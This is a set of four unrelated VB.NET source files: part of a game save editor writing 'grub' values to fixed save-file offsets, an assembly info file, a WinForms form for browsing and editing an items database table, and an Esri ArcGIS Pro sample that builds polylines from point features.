WriteBgrubs.WriteByte(valu_grub_54.Value) WriteBgrubs.Position = &H72 WriteBgrubs.WriteByte(valu_grub_55.Value) WriteBgrubs.Position = &H73 WriteBgrubs.WriteByte(valu_grub_56.Value) WriteBgrubs.Position = &H74 WriteBgrubs.WriteByte(valu_grub_57.Value) WriteBgrubs.Position = &H75 WriteBgrubs.WriteByte(valu_grub_58.Value) WriteBgrubs.Position = &H76 WriteBgrubs.WriteByte(valu_grub_59.Value) WriteBgrubs.Position = &H77 WriteBgrubs.WriteByte(valu_grub_60.Value) WriteBgrubs.Position = &H78 WriteBgrubs.WriteByte(valu_grub_61.Value) WriteBgrubs.Position = &H79 WriteBgrubs.WriteByte(valu_grub_62.Value) WriteBgrubs.Position = &H7A WriteBgrubs.WriteByte(valu_grub_63.Value) WriteBgrubs.Position = &H7B WriteBgrubs.WriteByte(valu_grub_64.Value) WriteBgrubs.Position = &H7C WriteBgrubs.WriteByte(valu_grub_65.Value) WriteBgrubs.Position = &H7D WriteBgrubs.WriteByte(valu_grub_66.Value) WriteBgrubs.Position = &H7E WriteBgrubs.WriteByte(valu_grub_67.Value) WriteBgrubs.Position = &H7F WriteBgrubs.WriteByte(valu_grub_68.Value) WriteBgrubs.Position = &H80 WriteBgrubs.WriteByte(valu_grub_69.Value) WriteBgrubs.Position = &H81 WriteBgrubs.WriteByte(valu_grub_70.Value) WriteBgrubs.Position = &H82 WriteBgrubs.WriteByte(valu_grub_71.Value) WriteBgrubs.Position = &H83 WriteBgrubs.WriteByte(valu_grub_72.Value) WriteBgrubs.Position = &H84 WriteBgrubs.WriteByte(valu_grub_73.Value) WriteBgrubs.Position = &H85 WriteBgrubs.WriteByte(valu_grub_74.Value) WriteBgrubs.Position = &H86 WriteBgrubs.WriteByte(valu_grub_75.Value) WriteBgrubs.Position = &H87 WriteBgrubs.WriteByte(valu_grub_76.Value) WriteBgrubs.Position = &H88 WriteBgrubs.WriteByte(valu_grub_77.Value) WriteBgrubs.Position = &H89 WriteBgrubs.WriteByte(valu_grub_78.Value) WriteBgrubs.Position = &H8A WriteBgrubs.WriteByte(valu_grub_79.Value) WriteBgrubs.Position = &H8B WriteBgrubs.WriteByte(valu_grub_80.Value) WriteBgrubs.Position = &H8C WriteBgrubs.WriteByte(valu_grub_81.Value) WriteBgrubs.Position = &H8D WriteBgrubs.WriteByte(valu_grub_82.Value) WriteBgrubs.Position = &H8E WriteBgrubs.WriteByte(valu_grub_83.Value) WriteBgrubs.Position = &H8F WriteBgrubs.WriteByte(valu_grub_84.Value) WriteBgrubs.Position = &H90 WriteBgrubs.WriteByte(valu_grub_85.Value) WriteBgrubs.Position = &H91 WriteBgrubs.WriteByte(valu_grub_86.Value) WriteBgrubs.Position = &H92 WriteBgrubs.WriteByte(valu_grub_87.Value) WriteBgrubs.Position = &H93 WriteBgrubs.WriteByte(valu_grub_88.Value) WriteBgrubs.Position = &H94 WriteBgrubs.WriteByte(valu_grub_89.Value) WriteBgrubs.Position = &H95 WriteBgrubs.WriteByte(valu_grub_90.Value) WriteBgrubs.Position = &H96 WriteBgrubs.WriteByte(valu_grub_91.Value) WriteBgrubs.Position = &H97 WriteBgrubs.WriteByte(valu_grub_92.Value) WriteBgrubs.Position = &H98 WriteBgrubs.WriteByte(valu_grub_93.Value) WriteBgrubs.Position = &H99 WriteBgrubs.WriteByte(valu_grub_94.Value) WriteBgrubs.Position = &H9A WriteBgrubs.WriteByte(valu_grub_95.Value) WriteBgrubs.Position = &H9B WriteBgrubs.WriteByte(valu_grub_96.Value) WriteBgrubs.Position = &H9C WriteBgrubs.WriteByte(valu_grub_97.Value) WriteBgrubs.Position = &H9D WriteBgrubs.WriteByte(valu_grub_98.Value) WriteBgrubs.Position = &H9E WriteBgrubs.WriteByte(valu_grub_99.Value) WriteBgrubs.Position = &H9F WriteBgrubs.WriteByte(valu_grub_100.Value) WriteBgrubs.Position = &HA0 WriteBgrubs.WriteByte(valu_grub_101.Value) WriteBgrubs.Position = &HA1 WriteBgrubs.WriteByte(valu_grub_102.Value) WriteBgrubs.Position = &HA2 WriteBgrubs.WriteByte(valu_grub_103.Value) WriteBgrubs.Position = &HA3 WriteBgrubs.WriteByte(valu_grub_104.Value) WriteBgrubs.Position = &HA4 WriteBgrubs.WriteByte(valu_grub_105.Value) WriteBgrubs.Position = &HA5 WriteBgrubs.WriteByte(valu_grub_106.Value) WriteBgrubs.Position = &HA6 WriteBgrubs.WriteByte(valu_grub_107.Value) WriteBgrubs.Position = &HA7 WriteBgrubs.WriteByte(valu_grub_108.Value) WriteBgrubs.Position = &HA8 WriteBgrubs.WriteByte(valu_grub_109.Value) WriteBgrubs.Position = &HA9 WriteBgrubs.WriteByte(valu_grub_110.Value) WriteBgrubs.Position = &HAA WriteBgrubs.WriteByte(valu_grub_111.Value) WriteBgrubs.Position = &HAB WriteBgrubs.WriteByte(valu_grub_112.Value) WriteBgrubs.Position = &HAC WriteBgrubs.WriteByte(valu_grub_113.Value) WriteBgrubs.Position = &HAD WriteBgrubs.WriteByte(valu_grub_114.Value) WriteBgrubs.Position = &HAE WriteBgrubs.WriteByte(valu_grub_115.Value) WriteBgrubs.Position = &HAF WriteBgrubs.WriteByte(valu_grub_116.Value) WriteBgrubs.Position = &HB0 WriteBgrubs.WriteByte(valu_grub_117.Value) WriteBgrubs.Position = &HB1 WriteBgrubs.WriteByte(valu_grub_118.Value) WriteBgrubs.Position = &HB2 WriteBgrubs.WriteByte(valu_grub_119.Value) WriteBgrubs.Position = &HB3 WriteBgrubs.WriteByte(valu_grub_120.Value) WriteBgrubs.Position = &HB4 WriteBgrubs.WriteByte(valu_grub_121.Value) WriteBgrubs.Position = &HB5 WriteBgrubs.WriteByte(valu_grub_122.Value) WriteBgrubs.Position = &HB6 WriteBgrubs.WriteByte(valu_grub_123.Value) WriteBgrubs.Position = &HB7 WriteBgrubs.WriteByte(valu_grub_124.Value) WriteBgrubs.Position = &HB8 WriteBgrubs.WriteByte(valu_grub_125.Value) WriteBgrubs.Position = &HB9 WriteBgrubs.WriteByte(valu_grub_126.Value) WriteBgrubs.Position = &HBA WriteBgrubs.WriteByte(valu_grub_127.Value) WriteBgrubs.Position = &HBB WriteBgrubs.WriteByte(valu_grub_128.Value) WriteBgrubs.Position = &HBC WriteBgrubs.WriteByte(valu_grub_129.Value) WriteBgrubs.Position = &HBD WriteBgrubs.WriteByte(valu_grub_130.Value) WriteBgrubs.Position = &HBE WriteBgrubs.WriteByte(valu_grub_131.Value) WriteBgrubs.Position = &HBF WriteBgrubs.WriteByte(valu_grub_132.Value) WriteBgrubs.Position = &HC0 WriteBgrubs.WriteByte(valu_grub_133.Value) WriteBgrubs.Position = &HC1 WriteBgrubs.WriteByte(valu_grub_134.Value) WriteBgrubs.Position = &HC2 WriteBgrubs.WriteByte(valu_grub_135.Value) WriteBgrubs.Position = &HC3 WriteBgrubs.WriteByte(valu_grub_136.Value) WriteBgrubs.Position = &HC4 WriteBgrubs.WriteByte(valu_grub_137.Value) WriteBgrubs.Position = &HC5 WriteBgrubs.WriteByte(valu_grub_138.Value) WriteBgrubs.Position = &HC6 WriteBgrubs.WriteByte(valu_grub_139.Value) WriteBgrubs.Position = &HC7 WriteBgrubs.WriteByte(valu_grub_140.Value) WriteBgrubs.Position = &HC8 WriteBgrubs.WriteByte(valu_grub_141.Value) WriteBgrubs.Position = &HC9 WriteBgrubs.WriteByte(valu_grub_142.Value) WriteBgrubs.Position = &HCA WriteBgrubs.WriteByte(valu_grub_143.Value) WriteBgrubs.Position = &HCB WriteBgrubs.WriteByte(valu_grub_144.Value) WriteBgrubs.Position = &HCC WriteBgrubs.WriteByte(valu_grub_145.Value) WriteBgrubs.Position = &HCD WriteBgrubs.WriteByte(valu_grub_146.Value) WriteBgrubs.Position = &HCE WriteBgrubs.WriteByte(valu_grub_147.Value) WriteBgrubs.Position = &HCF WriteBgrubs.WriteByte(valu_grub_148.Value) WriteBgrubs.Position = &HD0 WriteBgrubs.WriteByte(valu_grub_149.Value) WriteBgrubs.Position = &HD1 WriteBgrubs.WriteByte(valu_grub_150.Value) WriteBgrubs.Position = &HD2 WriteBgrubs.WriteByte(valu_grub_151.Value) WriteBgrubs.Position = &HD3 WriteBgrubs.WriteByte(valu_grub_152.Value) WriteBgrubs.Position = &HD4 WriteBgrubs.WriteByte(valu_grub_153.Value) WriteBgrubs.Position = &HD5 WriteBgrubs.WriteByte(valu_grub_154.Value) WriteBgrubs.Position = &HD6 WriteBgrubs.WriteByte(valu_grub_155.Value) WriteBgrubs.Position = &HD7 WriteBgrubs.WriteByte(valu_grub_156.Value) WriteBgrubs.Position = &HD8 WriteBgrubs.WriteByte(valu_grub_157.Value) WriteBgrubs.Position = &HD9 WriteBgrubs.WriteByte(valu_grub_158.Value) WriteBgrubs.Position = &HDA WriteBgrubs.WriteByte(valu_grub_159.Value) WriteBgrubs.Position = &HDB WriteBgrubs.WriteByte(valu_grub_160.Value) WriteBgrubs.Position = &HDC WriteBgrubs.WriteByte(valu_grub_161.Value) WriteBgrubs.Position = &HDD WriteBgrubs.WriteByte(valu_grub_162.Value) WriteBgrubs.Position = &HDE WriteBgrubs.WriteByte(valu_grub_163.Value) WriteBgrubs.Position = &HDF WriteBgrubs.WriteByte(valu_grub_164.Value) WriteBgrubs.Position = &HE0 WriteBgrubs.WriteByte(valu_grub_165.Value) WriteBgrubs.Position = &HE1 WriteBgrubs.WriteByte(valu_grub_166.Value) WriteBgrubs.Position = &HE2 WriteBgrubs.WriteByte(valu_grub_167.Value) WriteBgrubs.Position = &HE3 WriteBgrubs.WriteByte(valu_grub_168.Value) WriteBgrubs.Position = &HE4 WriteBgrubs.WriteByte(valu_grub_169.Value) WriteBgrubs.Position = &HE5 WriteBgrubs.WriteByte(valu_grub_170.Value) WriteBgrubs.Position = &HE6 WriteBgrubs.WriteByte(valu_grub_171.Value) WriteBgrubs.Position = &HE7 WriteBgrubs.WriteByte(valu_grub_172.Value) WriteBgrubs.Position = &HE8 WriteBgrubs.WriteByte(valu_grub_173.Value) WriteBgrubs.Position = &HE9 WriteBgrubs.WriteByte(valu_grub_174.Value) WriteBgrubs.Position = &HEA WriteBgrubs.WriteByte(valu_grub_175.Value) WriteBgrubs.Position = &HEB WriteBgrubs.WriteByte(valu_grub_176.Value) WriteBgrubs.Position = &HEC WriteBgrubs.WriteByte(valu_grub_177.Value) WriteBgrubs.Position = &HED WriteBgrubs.WriteByte(valu_grub_178.Value) WriteBgrubs.Position = &HEE WriteBgrubs.WriteByte(valu_grub_179.Value) WriteBgrubs.Position = &HEF WriteBgrubs.WriteByte(valu_grub_180.Value) WriteBgrubs.Position = &HF0 WriteBgrubs.WriteByte(valu_grub_181.Value) WriteBgrubs.Position = &HF1 WriteBgrubs.WriteByte(valu_grub_182.Value) WriteBgrubs.Position = &HF2 WriteBgrubs.WriteByte(valu_grub_183.Value) WriteBgrubs.Position = &HF3 WriteBgrubs.WriteByte(valu_grub_184.Value) WriteBgrubs.Position = &HF4 WriteBgrubs.WriteByte(valu_grub_185.Value) WriteBgrubs.Position = &HF5 WriteBgrubs.WriteByte(valu_grub_186.Value) WriteBgrubs.Position = &HF6 WriteBgrubs.WriteByte(valu_grub_187.Value) WriteBgrubs.Position = &HF7 WriteBgrubs.WriteByte(valu_grub_188.Value) WriteBgrubs.Position = &HF8 WriteBgrubs.WriteByte(valu_grub_189.Value) WriteBgrubs.Position = &HF9 WriteBgrubs.WriteByte(valu_grub_190.Value) WriteBgrubs.Position = &HFA WriteBgrubs.WriteByte(valu_grub_191.Value) WriteBgrubs.Position = &HFB WriteBgrubs.WriteByte(valu_grub_192.Value) WriteBgrubs.Position = &HFC WriteBgrubs.WriteByte(valu_grub_193.Value) WriteBgrubs.Position = &HFD WriteBgrubs.WriteByte(valu_grub_194.Value) WriteBgrubs.Position = &HFE WriteBgrubs.WriteByte(valu_grub_195.Value) WriteBgrubs.Position = &HFF WriteBgrubs.WriteByte(valu_grub_196.Value) MSE_dialog.text_dialog.Text = "Grubs has been succefully edited" MSE_dialog.ShowDialog() Catch ex As Exception MSE_dialog.text_dialog.Text = "Failed to write grubs" & vbNewLine & "Check if your save file is not used with an other application or report this issue" MSE_dialog.ShowDialog() End Try End Sub Public Sub hidepanelsfoods() Panel_foods_1.Visible = False Panel_foods_2.Visible = False Panel_foods_3.Visible = False Panel_foods_4.Visible = False End Sub Public Sub Hidearrows() Arrow_left_panel1.Visible = False Arrow_left_panel2.Visible = False Arrow_left_panel3.Visible = False Arrow_right_panel2.Visible = False Arrow_right_panel3.Visible = False Arrow_right_panel4.Visible = False End Sub Private Sub Arrow_right_panel2_Click(sender As Object, e As EventArgs) Handles Arrow_right_panel2.Click hidepanelsfoods() Hidearrows() Panel_foods_2.Visible = True Arrow_left_panel1.Visible = True Arrow_right_panel3.Visible = True End Sub Private Sub Arrow_left_panel1_Click(sender As Object, e As EventArgs) Handles Arrow_left_panel1.Click hidepanelsfoods() Hidearrows() Panel_foods_1.Visible = True Arrow_right_panel2.Visible = True End Sub Private Sub Arrow_right_panel3_Click(sender As Object, e As EventArgs) Handles Arrow_right_panel3.Click hidepanelsfoods() Hidearrows() Panel_foods_3.Visible = True Arrow_left_panel2.Visible = True Arrow_right_panel4.Visible = True End Sub Private Sub Arrow_left_panel2_Click(sender As Object, e As EventArgs) Handles Arrow_left_panel2.Click hidepanelsfoods() Hidearrows() Panel_foods_2.Visible = True Arrow_left_panel1.Visible = True Arrow_right_panel3.Visible = True End Sub Private Sub Arrow_right_panel4_Click(sender As Object, e As EventArgs) Handles Arrow_right_panel4.Click hidepanelsfoods() Hidearrows() Panel_foods_4.Visible = True Arrow_left_panel3.Visible = True End Sub Private Sub Arrow_left_panel3_Click(sender As Object, e As EventArgs) Handles Arrow_left_panel3.Click hidepanelsfoods() Hidearrows() Panel_foods_3.Visible = True Arrow_left_panel2.Visible = True Arrow_right_panel4.Visible = True End Sub Private Sub Text_setall_Click(sender As Object, e As EventArgs) Handles Text_setall.Click, Fea_setall.Click valu_grub_1.Value = valu_setall.Value valu_grub_2.Value = valu_setall.Value valu_grub_3.Value = valu_setall.Value valu_grub_4.Value = valu_setall.Value valu_grub_5.Value = valu_setall.Value valu_grub_6.Value = valu_setall.Value valu_grub_7.Value = valu_setall.Value valu_grub_8.Value = valu_setall.Value valu_grub_9.Value = valu_setall.Value valu_grub_10.Value = valu_setall.Value valu_grub_11.Value = valu_setall.Value valu_grub_12.Value = valu_setall.Value valu_grub_13.Value = valu_setall.Value valu_grub_14.Value = valu_setall.Value valu_grub_15.Value = valu_setall.Value valu_grub_16.Value = valu_setall.Value valu_grub_17.Value = valu_setall.Value valu_grub_18.Value = valu_setall.Value valu_grub_19.Value = valu_setall.Value valu_grub_20.Value = valu_setall.Value valu_grub_21.Value = valu_setall.Value valu_grub_22.Value = valu_setall.Value valu_grub_23.Value = valu_setall.Value valu_grub_24.Value = valu_setall.Value valu_grub_25.Value = valu_setall.Value valu_grub_26.Value = valu_setall.Value valu_grub_27.Value = valu_setall.Value valu_grub_28.Value = valu_setall.Value valu_grub_29.Value = valu_setall.Value valu_grub_30.Value = valu_setall.Value valu_grub_31.Value = valu_setall.Value valu_grub_32.Value = valu_setall.Value valu_grub_33.Value = valu_setall.Value valu_grub_34.Value = valu_setall.Value valu_grub_35.Value = valu_setall.Value valu_grub_36.Value = valu_setall.Value valu_grub_37.Value = valu_setall.Value valu_grub_38.Value = valu_setall.Value valu_grub_39.Value = valu_setall.Value valu_grub_40.Value = valu_setall.Value valu_grub_41.Value = valu_setall.Value valu_grub_42.Value = valu_setall.Value valu_grub_43.Value = valu_setall.Value valu_grub_44.Value = valu_setall.Value valu_grub_45.Value = valu_setall.Value valu_grub_46.Value = valu_setall.Value valu_grub_47.Value = valu_setall.Value valu_grub_48.Value = valu_setall.Value valu_grub_49.Value = valu_setall.Value valu_grub_50.Value = valu_setall.Value valu_grub_51.Value = valu_setall.Value valu_grub_52.Value = valu_setall.Value valu_grub_53.Value = valu_setall.Value valu_grub_54.Value = valu_setall.Value valu_grub_55.Value = valu_setall.Value valu_grub_56.Value = valu_setall.Value valu_grub_57.Value = valu_setall.Value valu_grub_58.Value = valu_setall.Value valu_grub_59.Value = valu_setall.Value valu_grub_60.Value = valu_setall.Value valu_grub_61.Value = valu_setall.Value valu_grub_62.Value = valu_setall.Value valu_grub_63.Value = valu_setall.Value valu_grub_64.Value = valu_setall.Value valu_grub_65.Value = valu_setall.Value valu_grub_66.Value = valu_setall.Value valu_grub_67.Value = valu_setall.Value valu_grub_68.Value = valu_setall.Value valu_grub_69.Value = valu_setall.Value valu_grub_70.Value = valu_setall.Value valu_grub_71.Value = valu_setall.Value valu_grub_72.Value = valu_setall.Value valu_grub_73.Value = valu_setall.Value valu_grub_74.Value = valu_setall.Value valu_grub_75.Value = valu_setall.Value valu_grub_76.Value = valu_setall.Value valu_grub_77.Value = valu_setall.Value valu_grub_78.Value = valu_setall.Value valu_grub_79.Value = valu_setall.Value valu_grub_80.Value = valu_setall.Value valu_grub_81.Value = valu_setall.Value valu_grub_82.Value = valu_setall.Value valu_grub_83.Value = valu_setall.Value valu_grub_84.Value = valu_setall.Value valu_grub_85.Value = valu_setall.Value valu_grub_86.Value = valu_setall.Value valu_grub_87.Value = valu_setall.Value valu_grub_88.Value = valu_setall.Value valu_grub_89.Value = valu_setall.Value valu_grub_90.Value = valu_setall.Value valu_grub_91.Value = valu_setall.Value valu_grub_92.Value = valu_setall.Value valu_grub_93.Value = valu_setall.Value valu_grub_94.Value = valu_setall.Value valu_grub_95.Value = valu_setall.Value valu_grub_96.Value = valu_setall.Value valu_grub_97.Value = valu_setall.Value valu_grub_98.Value = valu_setall.Value valu_grub_99.Value = valu_setall.Value valu_grub_100.Value = valu_setall.Value valu_grub_101.Value = valu_setall.Value valu_grub_102.Value = valu_setall.Value valu_grub_103.Value = valu_setall.Value valu_grub_104.Value = valu_setall.Value valu_grub_105.Value = valu_setall.Value valu_grub_106.Value = valu_setall.Value valu_grub_107.Value = valu_setall.Value valu_grub_108.Value = valu_setall.Value valu_grub_109.Value = valu_setall.Value valu_grub_110.Value = valu_setall.Value valu_grub_111.Value = valu_setall.Value valu_grub_112.Value = valu_setall.Value valu_grub_113.Value = valu_setall.Value valu_grub_114.Value = valu_setall.Value valu_grub_115.Value = valu_setall.Value valu_grub_116.Value = valu_setall.Value valu_grub_117.Value = valu_setall.Value valu_grub_118.Value = valu_setall.Value valu_grub_119.Value = valu_setall.Value valu_grub_120.Value = valu_setall.Value valu_grub_121.Value = valu_setall.Value valu_grub_122.Value = valu_setall.Value valu_grub_123.Value = valu_setall.Value valu_grub_124.Value = valu_setall.Value valu_grub_125.Value = valu_setall.Value valu_grub_126.Value = valu_setall.Value valu_grub_127.Value = valu_setall.Value valu_grub_128.Value = valu_setall.Value valu_grub_129.Value = valu_setall.Value valu_grub_130.Value = valu_setall.Value valu_grub_131.Value = valu_setall.Value valu_grub_132.Value = valu_setall.Value valu_grub_133.Value = valu_setall.Value valu_grub_134.Value = valu_setall.Value valu_grub_135.Value = valu_setall.Value valu_grub_136.Value = valu_setall.Value valu_grub_137.Value = valu_setall.Value valu_grub_138.Value = valu_setall.Value valu_grub_139.Value = valu_setall.Value valu_grub_140.Value = valu_setall.Value valu_grub_141.Value = valu_setall.Value valu_grub_142.Value = valu_setall.Value valu_grub_143.Value = valu_setall.Value valu_grub_144.Value = valu_setall.Value valu_grub_145.Value = valu_setall.Value valu_grub_146.Value = valu_setall.Value valu_grub_147.Value = valu_setall.Value valu_grub_148.Value = valu_setall.Value valu_grub_149.Value = valu_setall.Value valu_grub_150.Value = valu_setall.Value valu_grub_151.Value = valu_setall.Value valu_grub_152.Value = valu_setall.Value valu_grub_153.Value = valu_setall.Value valu_grub_154.Value = valu_setall.Value valu_grub_155.Value = valu_setall.Value valu_grub_156.Value = valu_setall.Value valu_grub_157.Value = valu_setall.Value valu_grub_158.Value = valu_setall.Value valu_grub_159.Value = valu_setall.Value valu_grub_160.Value = valu_setall.Value valu_grub_161.Value = valu_setall.Value valu_grub_162.Value = valu_setall.Value valu_grub_163.Value = valu_setall.Value valu_grub_164.Value = valu_setall.Value valu_grub_165.Value = valu_setall.Value valu_grub_166.Value = valu_setall.Value valu_grub_167.Value = valu_setall.Value valu_grub_168.Value = valu_setall.Value valu_grub_169.Value = valu_setall.Value valu_grub_170.Value = valu_setall.Value valu_grub_171.Value = valu_setall.Value valu_grub_172.Value = valu_setall.Value valu_grub_173.Value = valu_setall.Value valu_grub_174.Value = valu_setall.Value valu_grub_175.Value = valu_setall.Value valu_grub_176.Value = valu_setall.Value valu_grub_177.Value = valu_setall.Value valu_grub_178.Value = valu_setall.Value valu_grub_179.Value = valu_setall.Value valu_grub_180.Value = valu_setall.Value valu_grub_181.Value = valu_setall.Value valu_grub_182.Value = valu_setall.Value valu_grub_183.Value = valu_setall.Value valu_grub_184.Value = valu_setall.Value valu_grub_185.Value = valu_setall.Value valu_grub_186.Value = valu_setall.Value valu_grub_187.Value = valu_setall.Value valu_grub_188.Value = valu_setall.Value valu_grub_189.Value = valu_setall.Value valu_grub_190.Value = valu_setall.Value valu_grub_191.Value = valu_setall.Value valu_grub_192.Value = valu_setall.Value valu_grub_193.Value = valu_setall.Value valu_grub_194.Value = valu_setall.Value valu_grub_195.Value = valu_setall.Value valu_grub_196.Value = valu_setall.Value End Sub End Class
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' 有关程序集的一般信息由以下 ' 控制。更改这些特性值可修改 ' 与程序集关联的信息。 '查看程序集特性的值 #if netcore5=0 then <Assembly: AssemblyTitle("FormulaSearch.Extensions")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("")> <Assembly: AssemblyProduct("FormulaSearch.Extensions")> <Assembly: AssemblyCopyright("Copyright © 2020")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> '如果此项目向 COM 公开,则下列 GUID 用于 typelib 的 ID <Assembly: Guid("178ac224-0de2-4811-964b-c32ac1adc387")> ' 程序集的版本信息由下列四个值组成: ' ' 主版本 ' 次版本 ' 生成号 ' 修订号 ' '可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 '通过使用 "*",如下所示: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")> #end if
Public Class frmManageLots Private intRowPosition As Integer = 0 Private Sub frmManageCust_Load(sender As Object, e As EventArgs) Handles MyBase.Load Me.ItemsTableAdapter1.Fill(Me.OrderDB2DataSet.items) ShowCurrentRecord() End Sub Private Sub ShowCurrentRecord() If intRowPosition >= 0 Then txtAvail.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("available").ToString() txtCat.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("category").ToString() txtDesc.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("desc").ToString() txtLoc.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("location").ToString() txtID.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("num").ToString() txtRate.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("rate").ToString() txtSize.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("size").ToString() txtSupp.Text = orderDB2DataSet.Tables("items").Rows(intRowPosition)("supplier").ToString() End If End Sub Private Sub btnFirst_Click(sender As Object, e As EventArgs) Handles btnFirst.Click intRowPosition = 0 ShowCurrentREcord() End Sub Private Sub btnPrev_Click(sender As Object, e As EventArgs) Handles btnPrev.Click If intRowPosition > 0 Then intRowPosition -= 1 Me.ShowCurrentRecord() End If End Sub Private Sub btnNext_Click(sender As Object, e As EventArgs) Handles btnNext.Click If intRowPosition < (OrderDB2DataSet.Tables("items").Rows.Count - 1) Then intRowPosition += 1 Me.ShowCurrentRecord() End If End Sub Private Sub btnLast_Click(sender As Object, e As EventArgs) Handles btnLast.Click intRowPosition = OrderDB2DataSet.Tables("items").Rows.Count - 1 Me.ShowCurrentRecord() End Sub Private Sub RefreshTable() Me.ItemsTableAdapter1.Fill(Me.OrderDB2DataSet.items) Me.ShowCurrentRecord() End Sub Private Sub btnSave_Click(sender As Object, e As EventArgs) Handles btnSave.Click If OrderDB2DataSet.Tables("items").Rows.Count <> 0 Then OrderDB2DataSet.Tables("items").Rows(intRowPosition)("available") = txtAvail.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("category") = txtCat.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("desc") = txtDesc.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("location") = txtLoc.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("num") = txtID.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("rate") = txtRate.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("size") = txtSize.Text OrderDB2DataSet.Tables("items").Rows(intRowPosition)("supplier") = txtSupp.Text ItemsTableAdapter1.Update(Me.OrderDB2DataSet.items) OrderDB2DataSet.AcceptChanges() MessageBox.Show("Records Saved!") RefreshTable() End If End Sub Private Sub btnRefresh_Click(sender As Object, e As EventArgs) Me.ItemsTableAdapter1.Fill(Me.OrderDB2DataSet.items) Me.ShowCurrentRecord() End Sub Private Sub btnDelete_Click(sender As Object, e As EventArgs) Handles btnDelete.Click If OrderDB2DataSet.Tables("items").Rows.Count <> 0 Then OrderDB2DataSet.Tables("items").Rows(intRowPosition).Delete() intRowPosition -= 1 Me.ShowCurrentRecord() ItemsTableAdapter1.Update(Me.OrderDB2DataSet.items) OrderDB2DataSet.AcceptChanges() MessageBox.Show("items Record Deleted!") End If End Sub Private Sub btnNew_Click(sender As Object, e As EventArgs) Handles btnNew.Click frmAddLot.ShowDialog() End Sub Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click Me.Close() End Sub End Class
' Copyright 2019 Esri ' Licensed under the Apache License, Version 2.0 (the "License"); ' you may not use this file except in compliance with the License. ' You may obtain a copy of the License at ' http://www.apache.org/licenses/LICENSE-2.0 ' Unless required by applicable law or agreed to in writing, software ' distributed under the License is distributed on an "AS IS" BASIS, ' WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ' See the License for the specific language governing permissions and ' limitations under the License. Imports System Imports System.Collections.Generic Imports System.Linq Imports System.Text Imports System.Threading.Tasks Imports ArcGIS.Desktop.Framework Imports ArcGIS.Desktop.Framework.Contracts Imports ArcGIS.Desktop.Mapping Imports ArcGIS.Core.Data Imports ArcGIS.Core.Geometry Imports ArcGIS.Desktop.Editing Imports ArcGIS.Desktop.Framework.Threading.Tasks ''' <summary> ''' This code sample shows how to build Polyline objects. ''' The code will take point geometries from the point feature layer and construct polylines with 5 vertices each. ''' </summary> Friend Class CreatePolylines Inherits Button Protected Overrides Async Sub OnClick() ' to work in the context of the active display retrieve the current map Dim activeMap = MapView.Active.Map ' retrieve the first point layer in the map Dim pointFeatureLayer = activeMap.GetLayersAsFlattenedList().OfType(Of FeatureLayer).Where( Function(lyr) lyr.ShapeType = ArcGIS.Core.CIM.esriGeometryType.esriGeometryPoint).FirstOrDefault() If (IsNothing(pointFeatureLayer)) Then Return End If ' retrieve the first polyline feature layer in the map Dim polylineFeatureLayer = activeMap.GetLayersAsFlattenedList().OfType(Of FeatureLayer).Where( Function(lyr) lyr.ShapeType = ArcGIS.Core.CIM.esriGeometryType.esriGeometryPolyline).FirstOrDefault() If (IsNothing(polylineFeatureLayer)) Then Return End If ' construct polyline from points Await ConstructSamplePolylines(polylineFeatureLayer, pointFeatureLayer) ' activate the button completed state FrameworkApplication.State.Activate("geometry_lines_constructed") End Sub ''' <summary> ''' Create sample polyline feature using the geometries from the point feature layer. ''' </summary> ''' <param name="polylineLayer">Polyline geometry feature layer used to add the new features.</param> ''' <param name="pointLayer">The geometries from the point layer are used as vertices for the new line features.</param> ''' <returns></returns> Private Function ConstructSamplePolylines(polylineLayer As FeatureLayer, pointLayer As FeatureLayer) As Task(Of Boolean) ' execute the fine grained API calls on the CIM main thread Return QueuedTask.Run( Function() ' get the underlying feature class for each layer Dim polylineFeatureClass = DirectCast(polylineLayer.GetTable(), FeatureClass) Dim pointFeatureClass = DirectCast(pointLayer.GetTable(), FeatureClass) ' retrieve the feature class schema information for the feature classes Dim polylineDefinition = DirectCast(polylineFeatureClass.GetDefinition(), FeatureClassDefinition) Dim pointDefinition = DirectCast(pointFeatureClass.GetDefinition(), FeatureClassDefinition) ' construct a cursor for all point features, since we want all feature there is no ' QueryFilter required Dim pointCursor = pointFeatureClass.Search(Nothing, False) ' initialize a counter variable Dim pointCounter As Integer = 0 ' initialize a list to hold 5 coordinates that are used as vertices for the polyline Dim lineMapPoints = New List(Of MapPoint)(5) ' set up the edit operation for the feature creation Dim createOperation = New EditOperation() With { .Name = "Create polylines", .SelectNewFeatures = False } ' loop through the point features Do While (pointCursor.MoveNext()) pointCounter += 1 Using pointFeature = DirectCast(pointCursor.Current, Feature) ' add the feature point geometry as a coordinate into the vertex list of the line ' - ensure that the projection of the point geometry is converted to match the spatial reference of the line lineMapPoints.Add(DirectCast(GeometryEngine.Instance.Project(pointFeature.GetShape(), polylineDefinition.GetSpatialReference()), MapPoint)) ' for every 5 geometries, construct a new polyline and queue a feature create If (pointCounter Mod 5 = 0) Then ' construct a new polyline by using the 5 point coordinate in the current list Dim newPolyline = PolylineBuilder.CreatePolyline(lineMapPoints, polylineDefinition.GetSpatialReference()) ' queue the create operation as part of the edit operation createOperation.Create(polylineLayer, newPolyline) ' reset the list of coordinates lineMapPoints = New List(Of MapPoint)(5) End If End Using Loop ' execute the edit (create) operation Return createOperation.ExecuteAsync() End Function) End Function End Class
